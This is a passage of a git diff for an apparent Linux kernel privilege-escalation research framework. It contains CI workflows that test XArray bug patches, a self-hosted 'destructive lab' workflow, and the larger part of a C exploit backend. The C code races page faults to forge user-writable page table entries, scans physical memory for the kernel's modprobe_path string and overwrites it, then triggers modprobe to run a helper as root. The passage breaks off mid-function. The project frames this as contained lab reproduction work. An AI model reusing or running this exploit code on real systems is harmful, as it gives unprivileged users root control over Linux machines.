${{ matrix.python }} / ${{ matrix.os }} + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: + - ubuntu-24.04 + - windows-2025 + python: + - "3.11" + - "3.12" + - "3.13" + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: astral-sh/setup-uv@94527f2e458b27549849d47d273a16bec83a01e9 # v7 + with: + version: 0.11.7 + python-version: ${{ matrix.python }} + enable-cache: true + - run: uv sync --locked --python ${{ matrix.python }} + - run: uv run --locked python -m unittest discover -s tests -p "test_*.py" -v + - run: uv run --locked python -m dirtycrow target validate --profile profiles/debian-6.12.105-x86_64-4k.json --backend-registry backends/registry.json + - run: uv run --locked python -m dirtycrow target matrix --matrix profiles/targets.json --backend-registry backends/registry.json + + native: + name: Native contracts / ${{ matrix.compiler }} + runs-on: ubuntu-24.04 + strategy: + fail-fast: false + matrix: + compiler: + - gcc + - clang + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: astral-sh/setup-uv@94527f2e458b27549849d47d273a16bec83a01e9 # v7 + with: + version: 0.11.7 + python-version: "3.13" + enable-cache: true + - run: uv sync --locked + - run: make all proof-contract-check CC=${{ matrix.compiler }} PYTHON="uv run --locked python" + - run: make baseline-check model-check catalog-check claims-check CC=${{ matrix.compiler }} PYTHON="uv run --locked python" + + musl: + name: Native contracts / musl + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: astral-sh/setup-uv@94527f2e458b27549849d47d273a16bec83a01e9 # v7 + with: + version: 0.11.7 + python-version: "3.13" + - run: sudo apt-get update && sudo apt-get install -y musl-tools + - run: make clean all proof-contract-check CC=musl-gcc PYTHON="uv run --locked python" + - run: CC=musl-gcc uv run --locked python -m unittest discover -s tests -p "test_native_components.py" -v + + schemas-and-shell: + name: Schemas, tamper rejection, and shell + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: astral-sh/setup-uv@94527f2e458b27549849d47d273a16bec83a01e9 # v7 + with: + version: 0.11.7 + python-version: "3.13" + - run: uv sync --locked + - run: sudo apt-get update && sudo apt-get install -y minisign shellcheck + - name: Shellcheck + run: | + shellcheck reproduction/*.sh tools/*.sh + # Imported evidence runner intentionally retains its original + # timestamp rebuild test and empty-CDPATH spelling. + shellcheck -e SC1007,SC3013 baseline/*.sh + - name: POSIX shell syntax + run: | + for script in baseline/*.sh reproduction/*.sh tools/*.sh; do + dash -n "$script" + done + - run: uv run --locked python -m dirtycrow target matrix --matrix profiles/targets.json --backend-registry backends/registry.json + - run: uv run --locked python -m dirtycrow toolchain verify --lock toolchain-lock.json + - run: uv run --locked python -m unittest discover -s tests -p "test_acquire.py" -v + - run: uv run --locked python -m unittest discover -s tests -p "test_native_components.py" -v + - run: uv run --locked python -m dirtycrow model --bits 64 + - name: Offline signing tests (skips are failures) + run: | + uv run --locked python tools/run_signing_tests.py \ + build/signing-test-counts.json + - name: Build and verify designated signed bundle + run: | + uv run --locked python -m dirtycrow claims \ + --profile profiles/claims.json --root . \ + --overview CURRENT-CLAIMS.md \ + --output build/claim-catalog-verification.json + uv run --locked python -m dirtycrow report build \ + --profile profiles/report.json --root . \ + --output-dir build/reports \ + --output build/report-generation.json + uv run --locked python -m dirtycrow sign keygen \ + --secret-key build/ci-release.key \ + --public-key build/ci-release.pub + uv run --locked python -m dirtycrow bundle build \ + --profile profiles/reproduction-bundle.json \ + --root . \ + --output-dir build/ci-signed-release \ + --secret-key build/ci-release.key \ + --public-key build/ci-release.pub \ + --output build/ci-bundle-build.json + release_id="$(uv run --locked python -c \ + 'import json; print(json.load(open("profiles/reproduction-bundle.json", encoding="utf-8"))["release_id"])')" + uv run --locked python \ + "build/ci-signed-release/$release_id/verify-manifest.py" \ + "build/ci-signed-release/$release_id/MANIFEST.json" \ + "build/ci-signed-release/$release_id" + - name: Upload designated signed bundle + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 + with: + name: dirty-crow-signed-reproduction-bundle + path: | + build/ci-signed-release/*.tar.gz + build/ci-signed-release/*.tar.gz.minisig + build/ci-release.pub + build/ci-bundle-build.json + build/signing-test-counts.json + if-no-files-found: error + + kernel-selftest-and-smoke: + name: XArray selftest and QEMU smoke + runs-on: ubuntu-24.04 + timeout-minutes: 45 + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + with: + repository: torvalds/linux + ref: 8d3ae59288f1e7d58d76558a6ee96d533bc5019f + path: build/linux + fetch-depth: 1 + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + with: + repository: torvalds/linux + ref: 8fe28cb58bcb235034b64cbbb7550a8a43fd88be + path: build/linux-v4.20 + fetch-depth: 1 + - run: sudo apt-get update && sudo apt-get install -y bc bison busybox-static cpio flex libelf-dev libssl-dev liburcu-dev qemu-system-x86 + - name: XArray deterministic fail-before/pass-after + run: | + git -C build/linux apply ../../patches/0002-xarray-test-iteration-after-splitting-a-multi-index-entry.patch + make -C build/linux/tools/testing/radix-tree -j2 + ulimit -c 0 + set +e + build/linux/tools/testing/radix-tree/xarray \ + >build/xarray-vulnerable.log 2>&1 + status=$? + set -e + test "$status" -eq 134 + grep -F "check_multi_find_4" build/xarray-vulnerable.log + git -C build/linux apply ../../patches/0001-xarray-resync-non-leaf-offset-before-advancing.patch + make -C build/linux/tools/testing/radix-tree -j2 + build/linux/tools/testing/radix-tree/xarray | + tee build/xarray-fixed.log + grep -F "XArray: 159585972 of 159585972 tests passed" \ + build/xarray-fixed.log + - name: Linux 4.20 XArray primitive fail-before/pass-after + run: | + git -C build/linux-v4.20 apply ../../patches/0003-xarray-v4.20-test-split-resume-after-multi-index-replacement.patch + make -C build/linux-v4.20/tools/testing/radix-tree -j2 + ulimit -c 0 + set +e + build/linux-v4.20/tools/testing/radix-tree/xarray \ + >build/xarray-v4.20-vulnerable.log 2>&1 + status=$? + set -e + test "$status" -eq 134 + grep -F "v4.20 split-resume: before=12 after=8 expected=16" \ + build/xarray-v4.20-vulnerable.log + git -C build/linux-v4.20 apply ../../patches/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch + make -C build/linux-v4.20/tools/testing/radix-tree -j2 + build/linux-v4.20/tools/testing/radix-tree/xarray 2>&1 | + tee build/xarray-v4.20-fixed.log + grep -F "v4.20 split-resume: before=12 after=16 expected=16" \ + build/xarray-v4.20-fixed.log + grep -F "XArray: 21134890 of 21134890 tests passed" \ + build/xarray-v4.20-fixed.log + - name: Compile in-kernel XArray test and smoke kernel + run: | + make -C build/linux ARCH=x86_64 defconfig + build/linux/scripts/config --file build/linux/.config --enable TEST_XARRAY + make -C build/linux ARCH=x86_64 olddefconfig + make -C build/linux ARCH=x86_64 -j2 lib/test_xarray.o bzImage + - name: Build deterministic smoke initramfs + run: | + gcc -static -O2 -Wall -Wextra -Werror -DEXPECTED_PAGE_SIZE=4096 \ + -o build/geometry-probe tools/dirty_crow_geometry_probe.c + sudo tools/build_geometry_initramfs.sh \ + build/geometry-probe build/geometry-smoke.cpio.gz + sudo chown "$USER":"$USER" build/geometry-smoke.cpio.gz + - name: Boot QEMU geometry smoke + run: | + timeout 30s qemu-system-x86_64 \ + -machine q35,accel=tcg -cpu max -smp 2 -m 512 \ + -kernel build/linux/arch/x86/boot/bzImage \ + -initrd build/geometry-smoke.cpio.gz \ + -append "console=ttyS0 rdinit=/init panic=-1" \ + -display none -serial stdio -no-reboot | + tee build/geometry-smoke.log + python - <<'PY' + from pathlib import Path + text = Path("build/geometry-smoke.log").read_text(errors="replace") + marker = "DIRTY_CROW_GEOMETRY status=0 architecture=x86_64 page_size=4096" + if marker not in text: + raise SystemExit(f"missing smoke marker: {marker}") + PY + + lock-integrity: + name: Locked environment integrity + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: astral-sh/setup-uv@94527f2e458b27549849d47d273a16bec83a01e9 # v7 + with: + version: 0.11.7 + python-version: "3.13" + - run: uv lock --check + - run: uv sync --locked --no-dev + - run: uv run --locked python -m dirtycrow toolchain verify --lock toolchain-lock.json + - run: uv run --locked python -m dirtycrow toolchain metadata --lock toolchain-lock.json --root . --sbom build/source.spdx.json --provenance build/source-provenance.intoto.json diff --git a/dirty-crow-xarray-lpe/framework/.github/workflows/destructive-lab.yml b/dirty-crow-xarray-lpe/framework/.github/workflows/destructive-lab.yml new file mode 100644 index 0000000..665263e --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/.github/workflows/destructive-lab.yml @@ -0,0 +1,62 @@ +name: destructive-lab + +on: + workflow_dispatch: + inputs: + profile: + description: Absolute path to the host-owned lab profile + required: true + type: string + schedule: + - cron: "17 3 * * 0" + +permissions: + contents: read + +concurrency: + group: dirty-crow-isolated-lab + cancel-in-progress: false + +jobs: + isolated-race: + name: Attested disposable-VM race + runs-on: + - self-hosted + - linux + - x64 + - dirty-crow-isolated + environment: dirty-crow-destructive-lab + timeout-minutes: 180 + env: + LAB_PROFILE: ${{ inputs.profile || vars.DIRTY_CROW_LAB_PROFILE }} + LAB_OUTPUT: ${{ runner.temp }}/dirty-crow-lab/${{ github.run_id }} + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: astral-sh/setup-uv@94527f2e458b27549849d47d273a16bec83a01e9 # v7 + with: + version: 0.11.7 + python-version: "3.13" + - run: uv sync --locked + - name: Verify immutable inputs + run: | + test -n "$LAB_PROFILE" + test -f "$LAB_PROFILE" + uv run --locked python -m dirtycrow toolchain verify \ + --lock toolchain-lock.json + uv run --locked python -m dirtycrow lab plan \ + --profile "$LAB_PROFILE" \ + --output "$LAB_OUTPUT/plan.json" + - name: Run only inside the attested disposable VM + run: | + uv run --locked python -m dirtycrow lab run \ + --profile "$LAB_PROFILE" \ + --output-dir "$LAB_OUTPUT/run" \ + --output "$LAB_OUTPUT/result.json" + - name: Preserve evidence + if: always() + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 + with: + name: dirty-crow-lab-${{ github.run_id }} + path: ${{ env.LAB_OUTPUT }} + if-no-files-found: error + retention-days: 30 diff --git a/dirty-crow-xarray-lpe/framework/backends/backstep_x86_64_4k.c b/dirty-crow-xarray-lpe/framework/backends/backstep_x86_64_4k.c new file mode 100644 index 0000000..25242c7 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/backends/backstep_x86_64_4k.c @@ -0,0 +1,2067 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "proof_contract.h" + +#ifndef MADV_COLLAPSE +#define MADV_COLLAPSE 25 +#endif +#ifndef MAP_FIXED_NOREPLACE +#define MAP_FIXED_NOREPLACE 0x100000 +#endif +#ifdef DIRTY_CROW_AUTO_POWEROFF +#error "DIRTY_CROW_AUTO_POWEROFF is not configurable; proof builds always power off" +#endif + +#define PAGE_SIZE 4096UL +#define PMD_SIZE (2UL * 1024 * 1024) +#define PUD_SIZE (1024UL * 1024 * 1024) +#define SOURCE_ENTRY 2UL +#define SOURCE_SIZE (16UL * PAGE_SIZE) +#define SOURCE_PGOFF 256UL +#ifndef RACE_FILE_BASE_PGOFF +#define RACE_FILE_BASE_PGOFF 0UL +#endif +#if (RACE_FILE_BASE_PGOFF & 511UL) != 0 +#error RACE_FILE_BASE_PGOFF must be 512-page aligned +#endif +#define CORRUPT_FIRST_PMD 320UL +#define FAKE_PT_PAGES 192UL +#define SAFE_FAKE_PT_PAGES 64UL +#define HIGH_FAKE_PMD_OFFSET 64UL +#define HIGH_FAKE_PT_PAGES 128UL +#define PHYS_BASE_PFN 0x100UL +#define PHYS_SCAN_LIMIT_PFN ((2560UL * 1024UL * 1024UL) / PAGE_SIZE) +#define FAKE_WINDOW_SIZE (FAKE_PT_PAGES * PMD_SIZE) +#define FAKE_ALIAS_SIZE (FAKE_PT_PAGES * PAGE_SIZE) +#define LAYOUT_PMD_SLOTS ((2UL * PUD_SIZE) / PMD_SIZE) +#define PUD_PMD_SLOTS (PUD_SIZE / PMD_SIZE) +#define DEFAULT_ROUNDS 20000 +#ifndef FAULT_THREADS +#define FAULT_THREADS 8 +#endif +#ifndef RACE_SOURCE_VIEWS +#define RACE_SOURCE_VIEWS 8 +#endif +#if RACE_SOURCE_VIEWS < 1 || RACE_SOURCE_VIEWS > 16 +#error RACE_SOURCE_VIEWS must be between 1 and 16 +#endif +#ifndef RACE_LAYOUT_CANDIDATE +#define RACE_LAYOUT_CANDIDATE 0 +#endif +#if RACE_LAYOUT_CANDIDATE > 1 +#error RACE_LAYOUT_CANDIDATE must be zero or one +#endif +#define MARKER_PAGES 32768UL +#define TLB_FLUSH_PAGES 128UL +#ifndef DELAY_PERIOD +#define DELAY_PERIOD 100U +#endif +#ifndef DELAY_STEP +#define DELAY_STEP 10U +#endif +#ifndef STARTUP_WAIT_ACTIVE +#define STARTUP_WAIT_ACTIVE 1 +#endif +#ifndef STARTUP_WAIT_ALL_WORKERS +#define STARTUP_WAIT_ALL_WORKERS 1 +#endif +#ifndef RACE_MEMBARRIER_SHOTS +#define RACE_MEMBARRIER_SHOTS 0 +#endif +#ifndef RACE_TIMER_NS +#define RACE_TIMER_NS 100000UL +#endif +#ifndef RACE_TIMERS_PER_WORKER +#define RACE_TIMERS_PER_WORKER 8 +#endif +#ifndef RACE_PIN_WORKERS +#define RACE_PIN_WORKERS 0 +#endif +#ifndef RACE_MEMBARRIER_WORKERS +#define RACE_MEMBARRIER_WORKERS 0 +#endif +#ifndef RACE_MUTATION_MODE +#define RACE_MUTATION_MODE 0 +#endif +#ifndef RACE_COLLAPSE_ATTEMPTS +#define RACE_COLLAPSE_ATTEMPTS 1 +#endif +#define MARKER_MAGIC "XARR-PHYS-MARK!" +#define ROOT_PROOF_PATH "/root/filemap-xarray-root-proof" +#define ROOT_PROOF_TEXT "filemap-xarray-root-proof" +#define POST_ROOT_PATH_PREFIX "/root/filemap-xarray-post-root" +#define POST_ROOT_TEXT "filemap-xarray-post-root" +#define MODPROBE_TRIGGER_PATH "/tmp/filemap-xarray-binfmt-trigger" +#define MODPROBE_PATH_ORIGINAL "/sbin/modprobe" +#define CAP_VALID_MASK_7_1 0x000001ffffffffffULL +#define ATTESTATION_PORT_PATH "/dev/virtio-ports/org.dirtycrow.attestation" +#define ATTESTATION_PORT_NAME "org.dirtycrow.attestation" +#define ATTESTATION_POLICY "reboot-only-proof" +#define ATTESTATION_RECEIPT_PREFIX "/tmp/dirtycrow-attestation-" +#define ATTESTATION_MAX_BYTES 4096 +#define ATTESTATION_READ_TIMEOUT_MS 10000 +#define ROOT_REQUIRED_CAPS ((1ULL << CAP_CHOWN) | \ + (1ULL << CAP_DAC_OVERRIDE) | \ + (1ULL << CAP_SETGID) | (1ULL << CAP_SETUID)) + +#define PTE_PRESENT (1ULL << 0) +#define PTE_RW (1ULL << 1) +#define PTE_USER (1ULL << 2) +#define PTE_ACCESSED (1ULL << 5) +#define PTE_DIRTY (1ULL << 6) +#define PTE_NX (1ULL << 63) +#define USER_PTE_FLAGS (PTE_NX | PTE_DIRTY | PTE_ACCESSED | PTE_USER | PTE_RW | PTE_PRESENT) + +static atomic_int run_state; +static atomic_int active_workers; +static uid_t target_ruid, target_euid, target_suid; +static gid_t target_rgid, target_egid, target_sgid; +static int root_proof_required; +static char post_root_path[128]; +static char modprobe_helper_path[sizeof(MODPROBE_PATH_ORIGINAL)]; +static char modprobe_marker_path[64]; +static char attestation_receipt_path[160]; +static const char *attestation_failure_reason = "unspecified"; +static atomic_int fault_callers; +static atomic_int fault_release; +static atomic_ulong membarrier_calls; +static _Atomic(char *) fault_addrs[RACE_SOURCE_VIEWS]; +static int sink_fd = -1; +static sigjmp_buf fault_jmp; +static volatile sig_atomic_t fault_guard; + + + +static void fault_signal(int sig) +{ + if (fault_guard) + siglongjmp(fault_jmp, sig); + _exit(128 + sig); +} + +static int safe_read(const volatile unsigned char *p, unsigned char *out) +{ + int sig = sigsetjmp(fault_jmp, 1); + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *out = *p; + fault_guard = 0; + return 0; +} + +static int safe_write(volatile unsigned char *p, unsigned char value) +{ + int sig = sigsetjmp(fault_jmp, 1); + + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *p = value; + fault_guard = 0; + return 0; +} +static int mm_holder_main(void *unused) +{ + uint64_t blocked = ~0ULL; + + (void)unused; + (void)syscall(SYS_prctl, PR_SET_NAME, "xarr-mm-holder", 0, 0, 0); + (void)syscall(SYS_rt_sigprocmask, SIG_SETMASK, &blocked, NULL, + sizeof(blocked)); + for (;;) + (void)syscall(SYS_pause); + return 0; +} + +static pid_t preserve_corrupted_mm(void) +{ + const size_t stack_size = 1024UL * 1024UL; + unsigned char *stack; + pid_t pid; + + stack = mmap(NULL, stack_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (stack == MAP_FAILED) + return -1; + (void)madvise(stack, stack_size, MADV_DONTDUMP); + fflush(NULL); + pid = clone(mm_holder_main, stack + stack_size, CLONE_VM | SIGCHLD, + NULL); + if (pid < 0) { + munmap(stack, stack_size); + return -1; + } + printf("MM_HOLDER pid=%ld state=retaining_corrupted_mm cleanup=reboot_only\n", + (long)pid); + fflush(stdout); + return pid; +} + +static int recover_by_poweroff(void) +{ + printf("RECOVERY_ACTION mode=poweroff reason=corrupted_mm_reboot_only\n"); + fflush(stdout); + if (reboot(RB_POWER_OFF) != 0) { + perror("reboot poweroff"); + return -1; + } + return 0; +} + +static int finish_corrupted_mm(int rc, const char *reason) +{ + printf("EXPLOIT_STAGE_DONE rc=%d reason=%s primitive=controlled_fake_page_tables uid=%u euid=%u\n", + rc, reason, getuid(), geteuid()); + fflush(stdout); + return rc; +} + +static void *fault_worker(void *arg) +{ + const unsigned int worker = (unsigned int)(uintptr_t)arg; + timer_t race_timers[RACE_TIMERS_PER_WORKER > 0 ? + RACE_TIMERS_PER_WORKER : 1] = { 0 }; + + if (RACE_PIN_WORKERS) { + cpu_set_t set; + long cpus = sysconf(_SC_NPROCESSORS_ONLN); + unsigned int fault_cpus = + cpus > 2 && RACE_MEMBARRIER_WORKERS > 0 ? + (unsigned int)(cpus - 2) : + (cpus > 1 ? (unsigned int)(cpus - 1) : 1U); + unsigned int cpu = cpus > 1 ? + 1U + worker % fault_cpus : 0U; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (pthread_setaffinity_np(pthread_self(), sizeof(set), &set) != 0) + _exit(2); + } + if (RACE_TIMER_NS > 0) { + struct sigevent event; + struct itimerspec interval; + struct timespec start; + sigset_t blocked; + int signo = SIGRTMIN + 3; + + sigemptyset(&blocked); + sigaddset(&blocked, signo); + if (pthread_sigmask(SIG_BLOCK, &blocked, NULL) != 0) + _exit(2); + memset(&event, 0, sizeof(event)); + event.sigev_notify = SIGEV_THREAD_ID; + event.sigev_signo = signo; +#if defined(__GLIBC__) && !defined(sigev_notify_thread_id) + event._sigev_un._tid = (pid_t)syscall(SYS_gettid); +#else + event.sigev_notify_thread_id = (pid_t)syscall(SYS_gettid); +#endif + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_create(CLOCK_MONOTONIC, &event, + &race_timers[timer]) != 0) + _exit(2); + } + if (clock_gettime(CLOCK_MONOTONIC, &start) != 0) + _exit(2); + start.tv_nsec += 1000000L; + if (start.tv_nsec >= 1000000000L) { + start.tv_sec++; + start.tv_nsec -= 1000000000L; + } + memset(&interval, 0, sizeof(interval)); + interval.it_value = start; + interval.it_interval.tv_sec = RACE_TIMER_NS / 1000000000UL; + interval.it_interval.tv_nsec = RACE_TIMER_NS % 1000000000UL; + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_settime(race_timers[timer], TIMER_ABSTIME, + &interval, NULL) != 0) + _exit(2); + } + } + for (;;) { + char *p; + int state; + + do { + state = atomic_load_explicit(&run_state, memory_order_acquire); + if (state == 0) + sched_yield(); + } while (state == 0); + if (state == 2) + break; + + atomic_fetch_add_explicit(&active_workers, 1, memory_order_acq_rel); + if (atomic_load_explicit(&run_state, memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + continue; + } + p = atomic_load_explicit(&fault_addrs[worker % RACE_SOURCE_VIEWS], + memory_order_acquire); + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit(&run_state, + memory_order_acquire) == 1 && + atomic_load_explicit(&fault_release, + memory_order_acquire) == 0) + sched_yield(); + if (atomic_load_explicit(&run_state, + memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, + memory_order_acq_rel); + continue; + } + } + while (atomic_load_explicit(&run_state, memory_order_relaxed) == 1) { + ssize_t n; + + atomic_fetch_add_explicit(&fault_callers, 1, memory_order_acq_rel); + n = pwrite(sink_fd, p, 1, 0); + atomic_fetch_sub_explicit(&fault_callers, 1, memory_order_acq_rel); + (void)madvise(p, SOURCE_SIZE, MADV_DONTNEED); + (void)n; + } + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + } + if (RACE_TIMER_NS > 0) { + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) + (void)timer_delete(race_timers[timer]); + } + return NULL; +} + +static void *membarrier_worker(void *arg) +{ + (void)arg; + if (RACE_PIN_WORKERS) { + cpu_set_t set; + long cpus = sysconf(_SC_NPROCESSORS_ONLN); + unsigned int cpu = cpus > 1 ? (unsigned int)(cpus - 1) : 0U; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (pthread_setaffinity_np(pthread_self(), sizeof(set), &set) != 0) + _exit(2); + } + for (;;) { + int state = atomic_load_explicit(&run_state, memory_order_acquire); + + if (state == 2) + break; + if (state != 1) { + sched_yield(); + continue; + } + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); + atomic_fetch_add_explicit(&membarrier_calls, 1, + memory_order_relaxed); + } + return NULL; +} + +static int prepare_large_shmem_folio(int fd) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + int rc; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return -1; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return -1; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + errno = 0; + rc = madvise(mapping, PMD_SIZE, MADV_COLLAPSE); + if (rc != 0) + fprintf(stderr, "MADV_COLLAPSE errno=%d (%s)\n", errno, strerror(errno)); + munmap(reservation, 2 * PMD_SIZE); + return rc; +} + +static unsigned char *prepare_order0_shmem_folio(int fd, + void **reservation_out) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return MAP_FAILED; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + if (madvise(mapping, PMD_SIZE, MADV_NOHUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + if (madvise(mapping, PMD_SIZE, MADV_HUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + *reservation_out = reservation; + return mapping; +} + +static void fill_fake_ptes(uint64_t *alias, uint64_t base_pfn, uint64_t stride) +{ + unsigned long i; + unsigned long entries = FAKE_PT_PAGES * (PAGE_SIZE / sizeof(uint64_t)); + + for (i = 0; i < entries; i++) + alias[i] = ((base_pfn + i * stride) << 12) | USER_PTE_FLAGS; + atomic_thread_fence(memory_order_seq_cst); +} + +static int remap_physical_window(uint64_t *alias, char *tlb_flush_pad, + unsigned long base_pfn, + unsigned int epoch) +{ + fill_fake_ptes(alias, base_pfn, 1); + if (mprotect(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + (epoch & 1U) == 0 ? PROT_READ : + PROT_READ | PROT_WRITE) != 0) + return -1; + return 0; +} + + +static int prepare_modprobe_helper(void) +{ + char target[64]; + struct stat st; + + if (snprintf(target, sizeof(target), "/proc/%ld/exe", + (long)getpid()) >= (int)sizeof(target)) + return -1; + for (unsigned int attempt = 0; attempt < 256; attempt++) { + unsigned int suffix = ((unsigned int)getpid() + attempt) & 0xffU; + + if (snprintf(modprobe_helper_path, + sizeof(modprobe_helper_path), "/tmp/x%02x", + suffix) >= (int)sizeof(modprobe_helper_path) || + snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + modprobe_helper_path) >= + (int)sizeof(modprobe_marker_path)) + return -1; + if (lstat(modprobe_helper_path, &st) == 0 || errno != ENOENT) + continue; + if (lstat(modprobe_marker_path, &st) == 0 || errno != ENOENT) + continue; + if (symlink(target, modprobe_helper_path) == 0) { + printf("MODPROBE_HELPER_PREPARED path=%s target=%s marker=%s\n", + modprobe_helper_path, target, + modprobe_marker_path); + fflush(stdout); + return 0; + } + } + modprobe_helper_path[0] = '\0'; + modprobe_marker_path[0] = '\0'; + return -1; +} + +static void cleanup_modprobe_helper(void) +{ + if (modprobe_helper_path[0] == '\0') + return; + if (unlink(modprobe_helper_path) == 0) + printf("MODPROBE_HELPER_CLEANUP path=%s removed=1\n", + modprobe_helper_path); + else + printf("MODPROBE_HELPER_CLEANUP path=%s removed=0 errno=%d\n", + modprobe_helper_path, errno); + fflush(stdout); + modprobe_helper_path[0] = '\0'; +} + +static int create_root_marker(void) +{ + static const char payload[] = POST_ROOT_TEXT; + int fd = open(modprobe_marker_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, + 0400); + + if (fd < 0) + return -1; + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + return close(fd); +} + +static int root_marker_exists(void) +{ + struct stat st = { 0 }; + + return lstat(modprobe_marker_path, &st) == 0 && + st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400; +} + +static int trigger_modprobe(void) +{ + static const unsigned char unknown_format[] = { 0xff, 0xff, 0xff, 0xff }; + pid_t child; + int fd; + + fd = open(MODPROBE_TRIGGER_PATH, + O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC | O_NOFOLLOW, 0700); + if (fd < 0) + return -1; + if (fchmod(fd, 0700) != 0 || + write(fd, unknown_format, sizeof(unknown_format)) != + (ssize_t)sizeof(unknown_format) || + close(fd) != 0) + return -1; + + child = fork(); + if (child == 0) { + execl(MODPROBE_TRIGGER_PATH, MODPROBE_TRIGGER_PATH, NULL); + _exit(errno == ENOEXEC ? 0 : 126); + } + if (child < 0 || waitpid(child, NULL, 0) < 0) + return -1; + (void)unlink(MODPROBE_TRIGGER_PATH); + if (!root_marker_exists()) + return -1; + return 0; +} + +static int patch_modprobe_path(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + static const unsigned char original[] = MODPROBE_PATH_ORIGINAL; + unsigned char replacement[sizeof(original)] = { 0 }; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + unsigned long candidates = 0; + + if (modprobe_helper_path[0] == '\0') + return -1; + memcpy(replacement, modprobe_helper_path, + strlen(modprobe_helper_path)); + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long offset = 0; + offset + sizeof(original) <= PAGE_SIZE; + offset++) { + unsigned char saved[sizeof(original)]; + volatile unsigned char *candidate = page_base + offset; + + if (memcmp((const void *)candidate, original, + sizeof(original)) != 0) + continue; + candidates++; + for (unsigned long i = 0; i < sizeof(saved); i++) { + saved[i] = candidate[i]; + candidate[i] = replacement[i]; + } + atomic_thread_fence(memory_order_seq_cst); + printf("MODPROBE_PATH_CANDIDATE pfn=%#lx page_offset=%#lx candidate=%lu\n", + base_pfn + page, offset, candidates); + fflush(stdout); + { + int trigger_rc = trigger_modprobe(); + + for (unsigned long i = 0; i < sizeof(saved); i++) + candidate[i] = saved[i]; + atomic_thread_fence(memory_order_seq_cst); + if (trigger_rc == 0) { + printf("MODPROBE_PATH_PATCH selected=1 restored=1 pfn=%#lx page_offset=%#lx replacement=%s\n", + 